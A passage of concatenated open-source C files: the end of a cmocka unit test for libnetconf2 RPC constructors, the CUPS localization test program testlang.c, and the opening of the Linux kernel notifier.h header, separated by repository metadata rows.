rpc = nc_rpc_delete(NC_DATASTORE_CONFIG, "target", NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_delete(rpc, NC_DATASTORE_CONFIG, "target");
nc_rpc_free(rpc);
}
static void
test_nc_rpc_lock(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
struct nc_rpc_lock *lock_rpc = NULL;
rpc = nc_rpc_lock(NC_DATASTORE_RUNNING);
assert_non_null(rpc);
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_LOCK);
lock_rpc = (struct nc_rpc_lock *)rpc;
assert_int_equal(lock_rpc->type, NC_RPC_LOCK);
assert_int_equal(lock_rpc->target, NC_DATASTORE_RUNNING);
nc_rpc_free(rpc);
}
static void
test_nc_rpc_unlock(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
struct nc_rpc_lock *unlock_rpc = NULL;
rpc = nc_rpc_unlock(NC_DATASTORE_RUNNING);
assert_non_null(rpc);
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_UNLOCK);
unlock_rpc = (struct nc_rpc_lock *)rpc;
assert_int_equal(unlock_rpc->type, NC_RPC_UNLOCK);
assert_int_equal(unlock_rpc->target, NC_DATASTORE_RUNNING);
nc_rpc_free(rpc);
}
/* function to check if values of get rpc are set correctly */
void
check_get_rpc(struct nc_rpc *rpc, const char *filter, NC_WD_MODE wd_mode)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_GET);
struct nc_rpc_get *get_rpc = (struct nc_rpc_get *)rpc;
assert_int_equal(get_rpc->type, NC_RPC_GET);
assert_string_equal(get_rpc->filter, filter);
assert_int_equal(get_rpc->wd_mode, wd_mode);
}
static void
test_nc_rpc_get(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create get rpc with NC_PARAMTYPE_CONST */
rpc = nc_rpc_get("filter", NC_WD_ALL, NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_get_rpc(rpc, "filter", NC_WD_ALL);
nc_rpc_free(rpc);
/* create get rpc with NC_PARAMTYPE_FREE */
char *str = strdup("string");
rpc = nc_rpc_get(str, NC_WD_EXPLICIT, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_get_rpc(rpc, str, NC_WD_EXPLICIT);
nc_rpc_free(rpc);
/* create get rpc with NC_PARAMTYPE_DUP_AND_FREE */
rpc = nc_rpc_get("filter-string", NC_WD_UNKNOWN, NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_get_rpc(rpc, "filter-string", NC_WD_UNKNOWN);
nc_rpc_free(rpc);
}
static void
test_nc_rpc_kill(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
struct nc_rpc_kill *kill_rpc = NULL;
rpc = nc_rpc_kill(10);
assert_non_null(rpc);
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_KILL);
kill_rpc = (struct nc_rpc_kill *)rpc;
assert_int_equal(kill_rpc->type, NC_RPC_KILL);
assert_int_equal(kill_rpc->sid, 10);
nc_rpc_free(rpc);
}
/* function to check if values of commit rpc are set correctly */
void
check_commit_rpc(struct nc_rpc *rpc, int confirmed, uint32_t confirm_timeout, const char *persist, const char *persist_id)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_COMMIT);
struct nc_rpc_commit *commit_rpc = (struct nc_rpc_commit *)rpc;
assert_int_equal(commit_rpc->type, NC_RPC_COMMIT);
assert_int_equal(commit_rpc->confirmed, confirmed);
assert_int_equal(commit_rpc->confirm_timeout, confirm_timeout);
assert_string_equal(commit_rpc->persist, persist);
assert_string_equal(commit_rpc->persist_id, persist_id);
}
static void
test_nc_rpc_commit(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create commit rpc with NC_PARAMTYPE_CONST*/
rpc = nc_rpc_commit(1, 100, "persist", "persist-id", NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_commit_rpc(rpc, 1, 100, "persist", "persist-id");
nc_rpc_free(rpc);
/* create commit rpc with NC_PARAMTYPE_FREE*/
char *str1 = strdup("str1");
char *str2 = strdup("str2");
rpc = nc_rpc_commit(2, 5, str1, str2, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_commit_rpc(rpc, 2, 5, str1, str2);
nc_rpc_free(rpc);
/* create commit rpc with NC_PARAMTYPE_DUP_AND_FREE*/
rpc = nc_rpc_commit(10, 200, "persistent", "persistent-id", NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_commit_rpc(rpc, 10, 200, "persistent", "persistent-id");
nc_rpc_free(rpc);
}
static void
test_nc_rpc_discard(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
rpc = nc_rpc_discard();
assert_non_null(rpc);
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_DISCARD);
nc_rpc_free(rpc);
}
/* function to check if values of cancel rpc are set correctly */
void
check_cancel_rpc(struct nc_rpc *rpc, const char *persist_id)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_CANCEL);
struct nc_rpc_cancel *cancel_rpc = (struct nc_rpc_cancel *)rpc;
assert_int_equal(cancel_rpc->type, NC_RPC_CANCEL);
assert_string_equal(cancel_rpc->persist_id, persist_id);
}
static void
test_nc_rpc_cancel(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create cancel rpc with NC_PARAMTYPE_CONST*/
rpc = nc_rpc_cancel("persist-id", NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_cancel_rpc(rpc, "persist-id");
nc_rpc_free(rpc);
/* create cancel rpc with NC_PARAMTYPE_FREE*/
char *str = strdup("string");
rpc = nc_rpc_cancel(str, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_cancel_rpc(rpc, str);
nc_rpc_free(rpc);
/* create cancel rpc with NC_PARAMTYPE_DUP_AND_FREE*/
rpc = nc_rpc_cancel("id", NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_cancel_rpc(rpc, "id");
nc_rpc_free(rpc);
}
/* function to check if values of validate rpc are set correctly */
void
check_validate_rpc(struct nc_rpc *rpc, NC_DATASTORE source, const char *url_or_config)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_VALIDATE);
struct nc_rpc_validate *validate_rpc = (struct nc_rpc_validate *)rpc;
assert_int_equal(validate_rpc->type, NC_RPC_VALIDATE);
assert_int_equal(validate_rpc->source, source);
assert_string_equal(validate_rpc->url_config_src, url_or_config);
}
static void
test_nc_rpc_validate(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create validate rpc with NC_PARAMTYPE_CONST */
rpc = nc_rpc_validate(NC_DATASTORE_RUNNING, "url", NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_validate_rpc(rpc, NC_DATASTORE_RUNNING, "url");
nc_rpc_free(rpc);
/* create validate rpc with NC_PARAMTYPE_FREE */
char *str = strdup("string");
rpc = nc_rpc_validate(NC_DATASTORE_CANDIDATE, str, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_validate_rpc(rpc, NC_DATASTORE_CANDIDATE, str);
nc_rpc_free(rpc);
/* create validate rpc with NC_PARAMTYPE_DUP_AND_FREE */
rpc = nc_rpc_validate(NC_DATASTORE_CONFIG, "url1", NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_validate_rpc(rpc, NC_DATASTORE_CONFIG, "url1");
nc_rpc_free(rpc);
}
/* function to check if values of getschema rpc are set correctly */
void
check_getschema_rpc(struct nc_rpc *rpc, const char *identifier, const char *version, const char *format)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_GETSCHEMA);
struct nc_rpc_getschema *getchema_rpc = (struct nc_rpc_getschema *)rpc;
assert_int_equal(getchema_rpc->type, NC_RPC_GETSCHEMA);
assert_string_equal(getchema_rpc->identifier, identifier);
assert_string_equal(getchema_rpc->version, version);
assert_string_equal(getchema_rpc->format, format);
}
static void
test_nc_rpc_getschema(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create getchema with NC_PARAMTYPE_CONST*/
rpc = nc_rpc_getschema("id", "version", "format", NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_getschema_rpc(rpc, "id", "version", "format");
nc_rpc_free(rpc);
/* create getchema with NC_PARAMTYPE_FREE*/
char *str1 = strdup("str1");
char *str2 = strdup("str2");
char *str3 = strdup("str3");
rpc = nc_rpc_getschema(str1, str2, str3, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_getschema_rpc(rpc, str1, str2, str3);
nc_rpc_free(rpc);
/* create getchema with NC_PARAMTYPE_DUP_AND_FREE*/
rpc = nc_rpc_getschema("id1", "version1", "format1", NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_getschema_rpc(rpc, "id1", "version1", "format1");
nc_rpc_free(rpc);
}
/* function to check if values of subscribe rpc are set correctly */
void
check_subscribe_rpc(struct nc_rpc *rpc, const char *stream_name, const char *filter,
const char *start_time, const char *stop_time)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_SUBSCRIBE);
struct nc_rpc_subscribe *subscribe_rpc = (struct nc_rpc_subscribe *)rpc;
assert_int_equal(subscribe_rpc->type, NC_RPC_SUBSCRIBE);
assert_string_equal(subscribe_rpc->stream, stream_name);
assert_string_equal(subscribe_rpc->filter, filter);
assert_string_equal(subscribe_rpc->start, start_time);
assert_string_equal(subscribe_rpc->stop, stop_time);
}
static void
test_nc_rpc_subscribe(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create subscribe rpc with NC_PARAMTYPE_CONST*/
rpc = nc_rpc_subscribe("stream-name", "filter", "start-time", "stop-time", NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_subscribe_rpc(rpc, "stream-name", "filter", "start-time", "stop-time");
nc_rpc_free(rpc);
/* create subscribe rpc with NC_PARAMTYPE_FREE*/
char *str1 = strdup("str1");
char *str2 = strdup("str2");
char *str3 = strdup("str3");
char *str4 = strdup("str4");
rpc = nc_rpc_subscribe(str1, str2, str3, str4, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_subscribe_rpc(rpc, str1, str2, str3, str4);
nc_rpc_free(rpc);
/* create subscribe rpc with NC_PARAMTYPE_DUP_AND_FREE*/
rpc = nc_rpc_subscribe("name", "filter-str", "start", "stop", NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_subscribe_rpc(rpc, "name", "filter-str", "start", "stop");
nc_rpc_free(rpc);
}
/* function to check if values of getdata rpc are set correctly */
void
check_getdata(struct nc_rpc *rpc, char *datastore, const char *filter, const char *config_filter,
char **origin_filter, int origin_filter_count, int negated_origin_filter, uint16_t max_depth,
int with_origin, NC_WD_MODE wd_mode)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_GETDATA);
struct nc_rpc_getdata *rpc_getdata = (struct nc_rpc_getdata *)rpc;
assert_int_equal(rpc_getdata->type, NC_RPC_GETDATA);
assert_string_equal(rpc_getdata->datastore, datastore);
assert_string_equal(rpc_getdata->filter, filter);
assert_string_equal(rpc_getdata->config_filter, config_filter);
assert_string_equal(*rpc_getdata->origin_filter, *origin_filter);
assert_int_equal(rpc_getdata->origin_filter_count, origin_filter_count);
assert_int_equal(rpc_getdata->negated_origin_filter, negated_origin_filter);
assert_int_equal(rpc_getdata->max_depth, max_depth);
assert_int_equal(rpc_getdata->with_origin, with_origin);
assert_int_equal(rpc_getdata->wd_mode, wd_mode);
}
static void
test_nc_rpc_getdata(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create getdata rpc with NC_PARAMTYPE_CONST */
char *origin_filters = "origin_filter";
rpc = nc_rpc_getdata("candidate", "filter", "true", &origin_filters, 1, 1, 3, 1, NC_WD_UNKNOWN, NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_getdata(rpc, "candidate", "filter", "true", &origin_filters, 1, 1, 3, 1, NC_WD_UNKNOWN);
nc_rpc_free(rpc);
/* create getdata rpc with NC_PARAMTYPE_FREE */
char *datastore = strdup("running");
char *filter = strdup("filter");
char *config_filter = strdup("true");
char buf[20] = {0};
char **origin_filter;
int origin_filter_count = 2;
origin_filter = calloc(origin_filter_count, sizeof *origin_filter);
assert_non_null(origin_filter);
for (int i = 0; i < origin_filter_count; i++) {
snprintf(buf, sizeof(buf) - 1, "origin_filter%d", i + 1);
origin_filter[i] = strdup(buf);
}
rpc = nc_rpc_getdata(datastore, filter, config_filter, origin_filter, origin_filter_count, 2, 3, 1, NC_WD_EXPLICIT, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_getdata(rpc, datastore, filter, config_filter, origin_filter, origin_filter_count, 2, 3, 1, NC_WD_EXPLICIT);
nc_rpc_free(rpc);
/* create getdata rpc with NC_PARAMTYPE_DUP_AND_FREE */
char *origin_filter1 = "origin_filter1";
rpc = nc_rpc_getdata("startup", "filter1", "false", &origin_filter1, 1, 0, 3, 1, NC_WD_ALL, NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_getdata(rpc, "startup", "filter1", "false", &origin_filter1, 1, 0, 3, 1, NC_WD_ALL);
nc_rpc_free(rpc);
}
/* function to check if values of editdata rpc are set correctly */
void
check_editdata(struct nc_rpc *rpc, char *datastore, NC_RPC_EDIT_DFLTOP default_op, const char *edit_content)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_EDITDATA);
struct nc_rpc_editdata *rpc_editdata = (struct nc_rpc_editdata *)rpc;
assert_int_equal(rpc_editdata->type, NC_RPC_EDITDATA);
assert_string_equal(rpc_editdata->datastore, datastore);
assert_int_equal(rpc_editdata->default_op, default_op);
assert_string_equal(rpc_editdata->edit_cont, edit_content);
}
static void
test_nc_rpc_editdata(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create editdata rpc with NC_PARAMTYPE_CONST */
rpc = nc_rpc_editdata("candidate", NC_RPC_EDIT_DFLTOP_UNKNOWN, "edit", NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_editdata(rpc, "candidate", NC_RPC_EDIT_DFLTOP_UNKNOWN, "edit");
nc_rpc_free(rpc);
/* create editdata rpc with NC_PARAMTYPE_FREE */
char *datastore = strdup("running");
char *edit_cont = strdup("edit_data");
rpc = nc_rpc_editdata(datastore, NC_RPC_EDIT_DFLTOP_MERGE, edit_cont, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_editdata(rpc, datastore, NC_RPC_EDIT_DFLTOP_MERGE, edit_cont);
nc_rpc_free(rpc);
/* create editdata rpc with NC_PARAMTYPE_DUP_AND_FREE */
rpc = nc_rpc_editdata("startup", NC_RPC_EDIT_DFLTOP_REPLACE, "edit_cont", NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_editdata(rpc, "startup", NC_RPC_EDIT_DFLTOP_REPLACE, "edit_cont");
nc_rpc_free(rpc);
}
int
main(void)
{
const struct CMUnitTest tests[] = {
cmocka_unit_test_setup_teardown(test_nc_rpc_act_generic_xml, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_act_generic, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_getconfig, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_edit, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_copy, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_delete, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_lock, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_unlock, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_get, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_kill, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_commit, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_discard, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_cancel, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_validate, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_getschema, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_subscribe, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_getdata, setup_f, teardown_f),
cmocka_unit_test_setup_teardown(test_nc_rpc_editdata, setup_f, teardown_f),
};
return cmocka_run_group_tests(tests, NULL, NULL);
}
|
8f94a39b99c7bb9a46f49b12b04a96b9070cbb7b
|
6188819c538c1fc77c1ba3c83ed4b18f43c47071
|
/cups/testlang.c
|
e0cd6b4f420ffefe7ea01973c756af50d2e006e1
|
[
"GPL-2.0-only",
"EPL-1.0",
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.0-only",
"LLVM-exception"
] |
permissive
|
OpenPrinting/cups
|
b7ed925472ac650f9a66247f8dd3c59dcba458e8
|
9d576996feb1010f4e9883c7e620186c3b17864c
|
refs/heads/master
| 2023-08-31T00:03:52.278350
| 2023-08-10T21:30:29
| 2023-08-10T21:30:29
| 292,664,437
| 733
| 153
|
Apache-2.0
| 2023-09-13T11:49:27
| 2020-09-03T19:43:01
|
C
|
UTF-8
|
C
| false
| false
| 10,835
|
c
|
testlang.c
|
/*
* Localization test program for CUPS.
*
* Usage:
*
* ./testlang [-l locale] [-p ppd] ["String to localize"]
*
* Copyright © 2021-2023 by OpenPrinting.
* Copyright © 2007-2017 by Apple Inc.
* Copyright © 1997-2006 by Easy Software Products.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary headers...
*/
#include "cups-private.h"
#include "ppd-private.h"
#ifdef __APPLE__
# include <CoreFoundation/CoreFoundation.h>
#endif /* __APPLE__ */
#include <cups/dir.h>
/*
* Local functions...
*/
static int show_ppd(const char *filename);
#ifdef __APPLE__
static int test_apple(void);
#endif // __APPLE__
static int test_language(const char *locale);
static int test_string(cups_lang_t *language, const char *msgid);
static void usage(void);
/*
* 'main()' - Load the specified language and show the strings for yes and no.
*/
int /* O - Exit status */
main(int argc, /* I - Number of command-line arguments */
char *argv[]) /* I - Command-line arguments */
{
int i; /* Looping var */
const char *opt; /* Current option */
int errors = 0; /* Number of errors */
int dotests = 1; /* Do standard tests? */
const char *lang = NULL; /* Single language test? */
cups_lang_t *language = NULL; /* Message catalog */
/*
* Parse command-line...
*/
_cupsSetLocale(argv);
for (i = 1; i < argc; i ++)
{
if (argv[i][0] == '-')
{
if (!strcmp(argv[i], "--help"))
{
usage();
}
else
{
for (opt = argv[i] + 1; *opt; opt ++)
{
switch (*opt)
{
case 'l' :
i ++;
if (i >= argc)
{
usage();
return (1);
}
lang = argv[i];
break;
case 'p' :
i ++;
if (i >= argc)
{
usage();
return (1);
}
dotests = 0;
errors += show_ppd(argv[i]);
break;
default :
usage();
return (1);
}
}
}
}
else
{
if (!language)
language = cupsLangGet(lang);
dotests = 0;
errors += test_string(language, argv[i]);
}
}
if (dotests)
{
if (lang)
{
/*
* Test a single language...
*/
errors += test_language(lang);
}
else
{
/*
* Test all locales we find in LOCALEDIR...
*/
cups_dir_t *dir; /* Locale directory */
cups_dentry_t *dent; /* Directory entry */
if ((dir = cupsDirOpen(getenv("LOCALEDIR"))) != NULL)
{
while ((dent = cupsDirRead(dir)) != NULL)
errors += test_language(dent->filename);
}
else
{
// No LOCALEDIR, just use the default language...
errors += test_language(NULL);
}
cupsDirClose(dir);
}
#ifdef __APPLE__
errors += test_apple();
#endif // __APPLE__
if (!errors)
puts("ALL TESTS PASSED");
}
return (errors > 0);
}
/*
* 'show_ppd()' - Show localized strings in a PPD file.
*
* TODO: Move this to the testppd program.
*/
static int /* O - Number of errors */
show_ppd(const char *filename) /* I - Filename */
{
ppd_file_t *ppd; /* PPD file */
ppd_option_t *option; /* PageSize option */
ppd_choice_t *choice; /* PageSize/Letter choice */
char buffer[1024]; /* String buffer */
if ((ppd = ppdOpenFile(filename)) == NULL)
{
printf("Unable to open PPD file \"%s\".\n", filename);
return (1);
}
ppdLocalize(ppd);
if ((option = ppdFindOption(ppd, "PageSize")) == NULL)
{
puts("No PageSize option.");
return (1);
}
else
{
printf("PageSize: %s\n", option->text);
if ((choice = ppdFindChoice(option, "Letter")) == NULL)
{
puts("No Letter PageSize choice.");
return (1);
}
else
{
printf("Letter: %s\n", choice->text);
}
}
printf("media-empty: %s\n", ppdLocalizeIPPReason(ppd, "media-empty", NULL, buffer, sizeof(buffer)));
ppdClose(ppd);
return (0);
}
#ifdef __APPLE__
/*
* 'test_apple()' - Test macOS locale handing...
*/
static int /* O - Number of errors */
test_apple(void)
{
int errors = 0; /* Number of errors */
CFIndex i, /* Looping var */
num_locales; /* Number of locales */
CFArrayRef locales; /* Locales */
CFStringRef locale_id, /* Current locale ID */
language_id; /* Current language ID */
cups_lang_t *language = NULL; /* Message catalog */
char locale_str[256], /* Locale ID C string */
language_str[256], /* Language ID C string */
buffer[1024], /* String buffer */
*bufptr; /* Pointer to ".UTF-8" in POSIX locale */
size_t buflen; /* Length of POSIX locale */
/*
* Test all possible language IDs for compatibility with _cupsAppleLocale...
*/
locales = CFLocaleCopyAvailableLocaleIdentifiers();
num_locales = CFArrayGetCount(locales);
printf("CFLocaleCopyAvailableLocaleIdentifiers: %d locales\n", (int)num_locales);
for (i = 0; i < num_locales; i ++)
{
locale_id = CFArrayGetValueAtIndex(locales, i);
language_id = CFLocaleCreateCanonicalLanguageIdentifierFromString(kCFAllocatorDefault, locale_id);
printf("CFStringGetCString(locale_id %d): ", (int)i);
if (!locale_id || !CFStringGetCString(locale_id, locale_str, (CFIndex)sizeof(locale_str), kCFStringEncodingASCII))
{
puts("FAIL");
errors ++;
continue;
}
else
printf("PASS (\"%s\")\n", locale_str);
printf("CFStringGetCString(language_id %d): ", (int)i);
if (!language_id || !CFStringGetCString(language_id, language_str, (CFIndex)sizeof(language_str), kCFStringEncodingASCII))
{
printf("%d %s: FAIL (unable to get language ID string)\n", (int)i + 1, locale_str);
errors ++;
continue;
}
else
printf("PASS (\"%s\")\n", language_str);
printf("_cupsAppleLocale(\"%s\"): ", language_str);
if (!_cupsAppleLocale(language_id, buffer, sizeof(buffer)))
{
puts("FAIL");
errors ++;
continue;
}
else
printf("PASS (\"%s\")\n", buffer);
if ((bufptr = strstr(buffer, ".UTF-8")) != NULL)
buflen = (size_t)(bufptr - buffer);
else
buflen = strlen(buffer);
printf("cupsLangGet(\"%s\"): ", buffer);
if ((language = cupsLangGet(buffer)) == NULL)
{
puts("FAIL");
errors ++;
continue;
}
else if (strncasecmp(language->language, buffer, buflen))
{
printf("FAIL (got \"%s\")\n", language->language);
errors ++;
continue;
}
else
puts("PASS");
}
CFRelease(locales);
return (errors);
}
#endif // __APPLE__
/*
* 'test_language()' - Test a specific language...
*/
static int /* O - Number of errors */
test_language(const char *lang) /* I - Locale language code, NULL for default */
{
int i; /* Looping var */
int errors = 0; /* Number of errors */
cups_lang_t *language = NULL, /* Message catalog */
*language2 = NULL; /* Message catalog (second time) */
struct lconv *loc; /* Locale data */
char buffer[1024]; /* String buffer */
double number; /* Number */
static const char * const tests[] = /* Test strings */
{
"1",
"-1",
"3",
"5.125"
};
// Override the locale environment as needed...
if (lang)
{
// Test the specified locale code...
setenv("LANG", lang, 1);
setenv("SOFTWARE", "CUPS/" CUPS_SVERSION, 1);
printf("cupsLangGet(\"%s\"): ", lang);
if ((language = cupsLangGet(lang)) == NULL)
{
puts("FAIL");
errors ++;
}
else if (strcasecmp(language->language, lang))
{
printf("FAIL (got \"%s\")\n", language->language);
errors ++;
}
else
puts("PASS");
printf("cupsLangGet(\"%s\") again: ", lang);
if ((language2 = cupsLangGet(lang)) == NULL)
{
puts("FAIL");
errors ++;
}
else if (strcasecmp(language2->language, lang))
{
printf("FAIL (got \"%s\")\n", language2->language);
errors ++;
}
else if (language2 != language)
{
puts("FAIL (cache failure)");
errors ++;
}
else
puts("PASS");
}
else
{
// Test the default locale...
fputs("cupsLangDefault: ", stdout);
if ((language = cupsLangDefault()) == NULL)
{
puts("FAIL");
errors ++;
}
else
puts("PASS");
fputs("cupsLangDefault again: ", stdout);
if ((language2 = cupsLangDefault()) == NULL)
{
puts("FAIL");
errors ++;
}
else if (language2 != language)
{
puts("FAIL (cache failure)");
errors ++;
}
else
puts("PASS");
}
printf("language->language: \"%s\"\n", language->language);
printf("_cupsEncodingName(language): \"%s\"\n", _cupsEncodingName(language->encoding));
errors += test_string(language, "No");
errors += test_string(language, "Yes");
if (language != language2)
{
printf("language2->language: \"%s\"\n", language2->language);
printf("_cupsEncodingName(language2): \"%s\"\n", _cupsEncodingName(language2->encoding));
}
loc = localeconv();
for (i = 0; i < (int)(sizeof(tests) / sizeof(tests[0])); i ++)
{
number = _cupsStrScand(tests[i], NULL, loc);
printf("_cupsStrScand(\"%s\"): %f\n", tests[i], number);
_cupsStrFormatd(buffer, buffer + sizeof(buffer), number, loc);
printf("_cupsStrFormatd(%f): ", number);
if (strcmp(buffer, tests[i]))
{
errors ++;
printf("FAIL (got \"%s\")\n", buffer);
}
else
puts("PASS");
}
return (errors);
}
/*
* 'test_string()' - Test the localization of a string.
*/
static int /* O - 1 on failure, 0 on success */
test_string(cups_lang_t *language, /* I - Language */
const char *msgid) /* I - Message */
{
const char *msgstr; /* Localized string */
/*
* Get the localized string and then see if we got what we expected.
*
* For the POSIX locale, the string pointers should be the same.
* For any other locale, the string pointers should be different.
*/
printf("_cupsLangString(\"%s\"): ", msgid);
msgstr = _cupsLangString(language, msgid);
if (strcmp(language->language, "C") && msgid == msgstr)
{
puts("FAIL (no message catalog loaded)");
return (1);
}
else if (!strcmp(language->language, "C") && msgid != msgstr)
{
puts("FAIL (POSIX locale is localized)");
return (1);
}
printf("PASS (\"%s\")\n", msgstr);
return (0);
}
/*
* 'usage()' - Show program usage.
*/
static void
usage(void)
{
puts("Usage: ./testlang [-l locale] [-p ppd] [\"String to localize\"]");
puts("");
puts("If no arguments are specified, all locales are tested.");
}
|
ad57a41fa771e7909a9bb2a627b7b47692da5565
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/include/linux/notifier.h
|
d14a4c362465712857d1ea8fe39b974a5c05c4ce
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 7,838
|
h
|
notifier.h
|
/*
* Routines to manage notifier chains for passing status changes to any
* interested routines. We need this instead of hard coded call lists so
* that modules can poke their nose into the innards. The network devices
* needed them so here they are for the rest of you.
*
* Alan Cox <Alan.Cox@linux.org>
*/
#ifndef _LINUX_NOTIFIER_H
#define _LINUX_NOTIFIER_H
#include <linux/errno.h>
#include <linux/mutex.h>
#include <linux/rwsem.h>
#include <linux/srcu.h>
/*
* Notifier chains are of four types:
*
* Atomic notifier chains: Chain callbacks run in interrupt/atomic
* context. Callouts are not allowed to block.
* Blocking notifier chains: Chain callbacks run in process context.
* Callouts are allowed to block.
* Raw notifier chains: There are no restrictions on callbacks,
* registration, or unregistration. All locking and protection
* must be provided by the caller.
* SRCU notifier chains: A variant of blocking notifier chains, with
* the same restrictions.
*
* atomic_notifier_chain_register() may be called from an atomic context,
* but blocking_notifier_chain_register() and srcu_notifier_chain_register()
* must be called from a process context. Ditto for the corresponding
* _unregister() routines.
*
* atomic_notifier_chain_unregister(), blocking_notifier_chain_unregister(),
* and srcu_notifier_chain_unregister() _must not_ be called from within
* the call chain.
*
* SRCU notifier chains are an alternative form of blocking notifier chains.
* They use SRCU (Sleepable Read-Copy Update) instead of rw-semaphores for
* protection of the chain links. This means there is _very_ low overhead
* in srcu_notifier_call_chain(): no cache bounces and no memory barriers.
* As compensation, srcu_notifier_chain_unregister() is rather expensive.
* SRCU notifier chains should be used when the chain will be called very
* often but notifier_blocks will seldom be removed. Also, SRCU notifier
* chains are slightly more difficult to use because they require special
* runtime initialization.
*/
typedef int (*notifier_fn_t)(struct notifier_block *nb,
unsigned long action, void *data);
struct notifier_block {
notifier_fn_t notifier_call;
struct notifier_block __rcu *next;
int priority;
};
struct atomic_notifier_head {
spinlock_t lock;
struct notifier_block __rcu *head;
};
struct blocking_notifier_head {
struct rw_semaphore rwsem;
struct notifier_block __rcu *head;
};
struct raw_notifier_head {
struct notifier_block __rcu *head;
};
struct srcu_notifier_head {
struct mutex mutex;
struct srcu_struct srcu;
struct notifier_block __rcu *head;
};
#define ATOMIC_INIT_NOTIFIER_HEAD(name) do { \
spin_lock_init(&(name)->lock); \
(name)->head = NULL; \
} while (0)
#define BLOCKING_INIT_NOTIFIER_HEAD(name) do { \
init_rwsem(&(name)->rwsem); \
(name)->head = NULL; \
} while (0)
#define RAW_INIT_NOTIFIER_HEAD(name) do { \
(name)->head = NULL; \
} while (0)
/* srcu_notifier_heads must be initialized and cleaned up dynamically */
extern void srcu_init_notifier_head(struct srcu_notifier_head *nh);
#define srcu_cleanup_notifier_head(name) \
cleanup_srcu_struct(&(name)->srcu);
#define ATOMIC_NOTIFIER_INIT(name) { \
.lock = __SPIN_LOCK_UNLOCKED(name.lock), \
.head = NULL }
#define BLOCKING_NOTIFIER_INIT(name) { \
.rwsem = __RWSEM_INITIALIZER((name).rwsem), \
.head = NULL }
